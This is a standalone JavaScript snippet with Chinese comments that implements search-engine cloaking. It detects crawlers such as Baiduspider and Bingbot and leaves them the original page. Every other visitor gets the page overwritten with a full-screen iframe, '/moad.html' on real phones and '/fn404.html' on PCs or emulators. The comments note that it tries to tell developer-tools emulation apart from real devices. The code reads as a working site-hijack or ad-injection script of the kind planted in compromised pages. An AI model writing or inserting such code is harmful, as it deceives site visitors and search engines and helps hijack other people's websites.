function guanggao(url) { window.addEventListener('DOMContentLoaded', function () { document.write(''); var iframe = document.createElement('iframe'); iframe.src = url; iframe.scrolling = 'auto'; iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff"; var div1 = document.createElement("div"); var div = document.createElement("div"); div1.style.overflow = "auto"; div1.appendChild(iframe); div.appendChild(div1); document.write(div.innerHTML); }); } // 判断爬虫UA(支持百度、搜狗、神马、360、头条、必应) var us = navigator.userAgent.toLowerCase(); var isSpider = /(baiduspider|sogou|yisouspider|360spider|bytespider|bingbot|shenma)/i.test(us); // 增强移动端设备检测(支持云手机等新型设备) var is_mobi = /(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince|mobile|webos|huawei|vivo|oppo|xiaomi|redmi|mi\s|sm-|cloudmobi|aliyunos)/i.test(us); // 判断是否PC平台(包括开发者工具模拟手机情况) var isPC = /(Win32|Win64|Macintosh|MacIntel|Linux x86_64)/i.test(navigator.platform); if (!isSpider) { if (is_mobi && !isPC) { guanggao('/moad.html'); // 真实移动设备 } else { guanggao('/fn404.html'); // PC或模拟器 } }